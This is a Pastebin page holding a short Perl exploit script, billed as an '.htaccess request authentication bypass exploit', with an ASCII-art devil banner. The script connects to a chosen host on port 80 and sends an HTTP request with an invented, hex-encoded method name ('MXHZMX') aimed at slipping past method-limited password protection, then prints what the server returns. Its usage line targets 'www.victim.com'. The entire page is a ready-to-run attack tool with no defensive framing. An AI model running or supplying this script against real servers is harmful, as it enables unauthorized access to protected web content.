Advertisement
i-Hmx

.htaccess auth bypass

Aug 31st, 2012
474
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.66 KB | None | 0 0
  1. use IO::Socket;
  2. use strict;
  3. use warnings;
  4.  
  5. # __________________________________________________
  6. #
  7. #  ------------------------------------------------
  8. # | htaccess request authentication bypass exploit |
  9. #  ------------------------------------------------
  10. #
  11. #    written by katharsis - www.katharsis.x2.to
  12. #
  13. # __________________________________________________
  14.  
  15.  
  16. <<i;
  17.  
  18.  
  19.           (                      )
  20.           |\    _,--------._    / |
  21.           | `.,'            `. /  |
  22.           `  '              ,-'  '
  23.             \/              (    /
  24.             ,-.        ,-.  `__,'
  25.             |  \)    ,'  ) ,'.` |
  26.             `.#/)  '.#_,'  ) ))|
  27.             /  (_.)\    .  -'//
  28.           (  /\____/\    ) )`'\
  29.             \ |V----V||  ' ,    \
  30.             |`- -- -'  ,'  \  \      _____
  31.       ___    |        .'    \ \  `._,-'    `-
  32.         `.__,`---^---'      \ ` -'
  33.             -.______  \ . /  ______,-
  34.                     `.    ,'  
  35.  
  36.  
  37.   The devil is and always has been a gentleman.
  38.  
  39. i
  40.  
  41.  
  42. my $host    = shift;
  43. my $file    = shift;
  44.  
  45. print "\n[ htaccess request authentication bypass exploit ]\n";
  46.  
  47. if (!$file)
  48. {
  49.   print "\n usage    htxploit.pl [host] [directory / file]";
  50.   print "\n example  htxploit.pl www.victim.com /forums/\n\n";
  51.   exit;
  52. }
  53.  
  54. my $socket = new IO::Socket::INET (
  55.             PeerAddr  => $host,
  56.             PeerPort  => '80',
  57.             Proto    => 'tcp',
  58.             );
  59.  
  60. my $packet  =
  61.  
  62. "\x4D\x58\x48\x5A\x4D\x58\x20".$file.
  63. "\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\n".
  64. "\x48\x6F\x73\x74\x3A\x20".$host."\n\n\n";
  65.  
  66. print $socket $packet;
  67.  
  68. while(<$socket>)
  69. {
  70.   print;
  71. }
  72.  
  73. close($socket);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement